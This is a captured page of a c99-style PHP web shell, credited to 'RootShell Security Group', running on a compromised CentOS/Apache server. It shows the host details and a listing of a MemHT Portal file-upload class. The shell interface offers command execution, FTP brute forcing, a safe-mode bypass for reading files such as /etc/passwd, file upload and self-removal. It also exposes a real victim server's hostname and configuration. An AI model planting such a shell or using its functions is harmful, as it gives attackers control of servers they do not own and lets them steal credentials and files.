!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/alumni/inc/class/   drwxr-xr-x
Free 50.98 GB of 127.8 GB (39.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     uploadFile.class.php (12.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/********************************************************************************
    - MemHT Portal -
    
    Copyright (C) 2007-2008 by Miltenovik Manojlo
    http://www.memht.com
    
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your opinion) any later version.
    
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    GNU General Public License for more details.
    
    You should have received a copy of the GNU General Public License along
    with this program; if not, see <http://www.gnu.org/licenses/> (GPLv2)
    or write to the Free Software Foundation, Inc., 51 Franklin Street,
    Fifth Floor, Boston, MA02110-1301, USA.
        
********************************************************************************/
    
class uploadFile {
    
//==============================
    //DEFAULT CONFIGURATION
    //==============================
    
    //Upload path
    
var $path "/";
    
    
//File max. size
    
var $max_size 512000//500Kb (in bytes)
    
    //Mime: Accepted files
    
var $mime = array();
    
    
//Show errors
    
var $show_errors true;
    
    
//Overwrite files with same name
    
var $overwrite false;
    
    
//File field
    
var $field;
    
    
//==============================
    //IMAGES CONFIGURATION
    //==============================
    
    //Mime: Images
    
var $mime_img = array('image/gif','image/pjpeg','image/jpeg','image/png','image/tiff','image/bmp');
    
    
//Max. image size
    
var $max_width 9999999;
    var 
$max_height 9999999;
    
    
//Resize
    
var $resize false;
    var 
$resize_width 100;
    var 
$resize_height 100;
    
    
//Thumb
    
var $createthumb false;
    var 
$path_thumb "/";
    var 
$thumb_suffix "_thumb";
    var 
$thumb_width 100;
    var 
$thumb_height 100;
    
    
//Try to fix the chmod if the file/folder is not writable
    
var $fixchmod true;
    
    
//==============================
    //DO NOT EDIT
    //==============================
    
var $FILES = array();
    var 
$error;
    var 
$filename;
    var 
$thumbname;
    var 
$selected true;
    var 
$jump false;
    
    
//PHP5 Constructor
    
function __construct() {
        
$this->FILES = array();
        
$this->error "";
    }
    
//PHP4 Constructor
    
function uploadFile() {
        
$this->FILES = array();
        
$this->error "";
    }
    
    
//Check if the selected path is writable
    
function isWritable() {
        if (!
is_writable($this->path)) {
            if (
$this->fixchmod) {
                if (!@
chmod($this->path,0777)) {
                    if (!
mem_ftp_chmod($this->path,777)) {
                        
$this->error _FOLDER_NOT_WRITABLE_;
                    }
                }
            } else {
                
$this->error _FOLDER_NOT_WRITABLE_;
            }
        }
    }
    
    
//Check if the file size exceed the limit
    
function checkFileSize() {
        if (
$this->FILES[$this->field]['size']>$this->max_size) {
            
$this->error _ERROR_TOOBIG_;
        }
    }
    
    
//Executed only when the file is an image (mime_img)
    
function processImage() {
        if (@
in_array($this->FILES[$this->field]['type'],$this->mime_img)) {
            
$imagesize = @getimagesize($this->path.$this->filename);
            if (
$this->resize) {
                
$this->max_width $this->resize_width;
                
$this->max_height $this->resize_height;
            }
            if (
$imagesize[0]>$this->max_width OR $imagesize[1]>$this->max_height) {
                if (
$this->resize) {
                    
//Resize
                    //--------------------
                    
if (extension_loaded('gd')) {
                        if (
$imagesize[0] > $imagesize[1]) {
                            
$ratio = ($this->resize_width/$imagesize[0]);
                            
$new_width round($imagesize[0]*$ratio);
                            
$new_height round($imagesize[1]*$ratio);
                        } else {
                            
$ratio = ($this->resize_height/$imagesize[1]);
                            
$new_width round($imagesize[0]*$ratio);
                            
$new_height round($imagesize[1]*$ratio);
                        }
                        
$image_p = @imagecreatetruecolor($new_width,$new_height);
                        switch (
$this->FILES[$this->field]['type']) {
                            case 
"image/gif":
                                
$image = @imagecreatefromgif($this->path.$this->filename);
                            break;
                            case 
"image/png":
                                
$image = @imagecreatefrompng($this->path.$this->filename);
                            break;
                            case 
"image/bmp":
                                
$image = @imagecreatefrombmp($this->path.$this->filename);
                            break;
                            default:
                            case 
"image/jpeg":
                            case 
"image/pjpeg":
                                
$image = @imagecreatefromjpeg($this->path.$this->filename);
                            break;
                        }
                        
imagecopyresampled($image_p,$image,0,0,0,0,$new_width,$new_height,$imagesize[0],$imagesize[1]);
                        
imagejpeg($image_p,$this->path.$this->filename,100);
                    } else {
                        
$this->error _ERROR_GD_MISSING_.". "._CANNOT_RESIZE_IMAGE_;
                        @
unlink($this->path.$this->filename);
                    }
                    
//-------------------
                
} else {
                    
$this->error _ERROR_IMAGE_TOO_LARGE_;
                    @
unlink($this->path.$this->filename);
                }
            }
            if (
$this->createthumb) {
                
//Thumb
                //--------------------
                
if (extension_loaded('gd')) {
                    if (
$imagesize[0] > $imagesize[1]) {
                        
$ratio = ($this->thumb_width/$imagesize[0]);
                        
$new_width round($imagesize[0]*$ratio);
                        
$new_height round($imagesize[1]*$ratio);
                    } else {
                        
$ratio = ($this->thumb_height/$imagesize[1]);
                        
$new_width round($imagesize[0]*$ratio);
                        
$new_height round($imagesize[1]*$ratio);
                    }
                    
$image_p = @imagecreatetruecolor($new_width,$new_height);
                    switch (
$this->FILES[$this->field]['type']) {
                        case 
"image/gif":
                            
$image = @imagecreatefromgif($this->path.$this->filename);
                        break;
                        case 
"image/png":
                            
$image = @imagecreatefrompng($this->path.$this->filename);
                        break;
                        case 
"image/bmp":
                            
$image = @imagecreatefrombmp($this->path.$this->filename);
                        break;
                        default:
                        case 
"image/jpeg":
                        case 
"image/pjpeg":
                            
$image = @imagecreatefromjpeg($this->path.$this->filename);
                        break;
                    }
                    
                    
$temp_name $this->file_name($this->filename);
                    
$temp_ext $this->file_ext($this->filename);
                    
$this->thumbname $temp_name.$this->thumb_suffix.".".$temp_ext;
                    
                    
imagecopyresampled($image_p,$image,0,0,0,0,$new_width,$new_height,$imagesize[0],$imagesize[1]);
                    
imagejpeg($image_p,$this->path_thumb.$this->thumbname,100);
                } else {
                    
$this->error _ERROR_GD_MISSING_.". "._CANNOT_CREATE_THUMBNAIL_;
                    @
unlink($this->path_thumb.$this->thumbname);
                }
                
//-------------------
            
}
        }
    }
    
    
//Check if the file mime type is accepted
    //If the mime array is empty, accept all files
    
function checkMime() {
        if (
sizeof($this->mime) AND !@in_array($this->FILES[$this->field]['type'],$this->mime)) {
            
$this->error _ERROR_FILENOTPERMITTED_;
        }
    }
    
    
//Return the file mime
    
function getMime() {
        return 
$this->FILES[$this->field]['type'];
    }
    
    
//Check if the file has been uploaded or not
    
function isUploaded() {
        if (!
is_uploaded_file($this->FILES[$this->field]['tmp_name'])) {
            
$this->error _FILE_NOT_UPLOADED_;
        }
    }
    
    
//Check if there are selected files
    
function fileSelected() {
        if (!isset(
$this->FILES[$this->field]) OR $this->filename=="") {
            
$this->error _ERROR_NOFILESELECTED_;
            
$this->selected false;
        }
    }
    
    
//Generate a random string
    
function random_str($length) {
        
$key "";
        
$pattern "1234567890abcdefghijklmnopqrstuvwxyz";
        for(
$i=0;$i<$length;$i++) {
            
$key .= $pattern{rand(0,35)};
        }
        return 
$key;
    }
    
    
//Return the file name
    
function file_name($name) {
        
$ext strrchr($name'.');
        if (
$ext != false) {
            
$name substr($name0, -strlen($ext));
        }
        return 
$name;
    }
    
    
//Return the file extension
    
function file_ext($name) {
        return 
strtolower(end(explode('.',$name)));
    }
    
    
//Print errors if $show_errors is set to true (default)
    
function print_error() {
        @
unlink($this->FILES[$this->field]['tmp_name']);
        if (
$this->show_errors) {
        echo 
"<div style='margin: 2px; padding: 2px; border: 1px solid #999; background-color: #EEE; font-family: Verdana; font-size: 10px;'>".$this->error."</div>";
        }
        return 
false;
    }
    
    
//Create a simple file upload form
    
function print_form($field,$action) {
        echo 
"<form name='form_upload' method='post' action='$action' enctype='multipart/form-data'>\n";
            echo 
"<input type='file' name='$field' size='20'> <input type='submit' name='Submit' value='Upload'>\n";
        echo 
"</form>";
    }
    
    
/*********************************************/
    /* Fonction: ImageCreateFromBMP              */
    /* Author:  DHKold                          */
    /* Contact:  admin@dhkold.com                */
    /* Date:    The 15th of June 2005          */
    /* Version:  2.0B                            */
    /*********************************************/
    
function imagecreatefrombmp($filename) {
       if (! 
$f1 fopen($filename,"rb")) return FALSE;
    
       
$FILE unpack("vfile_type/Vfile_size/Vreserved/Vbitmap_offset"fread($f1,14));
       if (
$FILE['file_type'] != 19778) return FALSE;
    
       
$BMP unpack('Vheader_size/Vwidth/Vheight/vplanes/vbits_per_pixel'.
                     
'/Vcompression/Vsize_bitmap/Vhoriz_resolution'.
                     
'/Vvert_resolution/Vcolors_used/Vcolors_important'fread($f1,40));
       
$BMP['colors'] = pow(2,$BMP['bits_per_pixel']);
       if (
$BMP['size_bitmap'] == 0$BMP['size_bitmap'] = $FILE['file_size'] - $FILE['bitmap_offset'];
       
$BMP['bytes_per_pixel'] = $BMP['bits_per_pixel']/8;
       
$BMP['bytes_per_pixel2'] = ceil($BMP['bytes_per_pixel']);
       
$BMP['decal'] = ($BMP['width']*$BMP['bytes_per_pixel']/4);
       
$BMP['decal'] -= floor($BMP['width']*$BMP['bytes_per_pixel']/4);
       
$BMP['decal'] = 4-(4*$BMP['decal']);
       if (
$BMP['decal'] == 4$BMP['decal'] = 0;
    
       
$PALETTE = array();
       if (
$BMP['colors'] < 16777216)
       {
       
$PALETTE unpack('V'.$BMP['colors'], fread($f1,$BMP['colors']*4));
       }
    
       
$IMG fread($f1,$BMP['size_bitmap']);
       
$VIDE chr(0);
    
       
$res imagecreatetruecolor($BMP['width'],$BMP['height']);
       
$P 0;
       
$Y $BMP['height']-1;
       while (
$Y >= 0)
       {
       
$X=0;
       while (
$X $BMP['width'])
       {
         if (
$BMP['bits_per_pixel'] == 24)
           
$COLOR unpack("V",substr($IMG,$P,3).$VIDE);
         elseif (
$BMP['bits_per_pixel'] == 16)
         { 
           
$COLOR unpack("n",substr($IMG,$P,2));
           
$COLOR[1] = $PALETTE[$COLOR[1]+1];
         }
         elseif (
$BMP['bits_per_pixel'] == 8)
         { 
           
$COLOR unpack("n",$VIDE.substr($IMG,$P,1));
           
$COLOR[1] = $PALETTE[$COLOR[1]+1];
         }
         elseif (
$BMP['bits_per_pixel'] == 4)
         {
           
$COLOR unpack("n",$VIDE.substr($IMG,floor($P),1));
           if ((
$P*2)%== 0$COLOR[1] = ($COLOR[1] >> 4) ; else $COLOR[1] = ($COLOR[1] & 0x0F);
           
$COLOR[1] = $PALETTE[$COLOR[1]+1];
         }
         elseif (
$BMP['bits_per_pixel'] == 1)
         {
           
$COLOR unpack("n",$VIDE.substr($IMG,floor($P),1));
           if    ((
$P*8)%== 0$COLOR[1] =  $COLOR[1]        >>7;
           elseif ((
$P*8)%== 1$COLOR[1] = ($COLOR[1] & 0x40)>>6;
           elseif ((
$P*8)%== 2$COLOR[1] = ($COLOR[1] & 0x20)>>5;
           elseif ((
$P*8)%== 3$COLOR[1] = ($COLOR[1] & 0x10)>>4;
           elseif ((
$P*8)%== 4$COLOR[1] = ($COLOR[1] & 0x8)>>3;
           elseif ((
$P*8)%== 5$COLOR[1] = ($COLOR[1] & 0x4)>>2;
           elseif ((
$P*8)%== 6$COLOR[1] = ($COLOR[1] & 0x2)>>1;
           elseif ((
$P*8)%== 7$COLOR[1] = ($COLOR[1] & 0x1);
           
$COLOR[1] = $PALETTE[$COLOR[1]+1];
         }
         else
           return 
FALSE;
         
imagesetpixel($res,$X,$Y,$COLOR[1]);
         
$X++;
         
$P += $BMP['bytes_per_pixel'];
       }
       
$Y--;
       
$P+=$BMP['decal'];
       }
    
       
fclose($f1);
    
     return 
$res;
    }
    
    
//Upload the file :\
    
function upload() {
        global 
$_FILES;
        
$this->error "";
        
$this->FILES $_FILES;
        
$this->filename = @str_replace("%","_",@urlencode($this->FILES[$this->field]['name']));
        
$this->fileSelected();
        if (
$this->error=="") { $this->isWritable(); }
        if (
$this->error=="") { $this->isUploaded(); }
        if (
$this->error=="") { $this->checkFileSize(); }
        if (
$this->error=="") { $this->checkMime(); }
        if (
$this->error=="") {
            if (
file_exists($this->path.$this->filename)) {
                if (
$this->overwrite) {
                    @
unlink($this->path.$this->filename);
                } else {
                    
$temp_name $this->file_name($this->filename);
                    
$temp_ext $this->file_ext($this->filename);
                    
$this->filename $temp_name."_".$this->random_str(5).".".$temp_ext;
                }
            }
        }
        if (
$this->error=="") {
            if (@
copy($this->FILES[$this->field]['tmp_name'],$this->path.$this->filename)) {
                
$this->processImage();
                if (
$this->error=="") {
                    return 
$this->filename;
                } else {
                    
$this->print_error();
                }
            } else {
                
$this->error "File not uploaded";
                
$this->print_error();
            }
        } else {
            
$this->print_error();
        }
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.018 ]--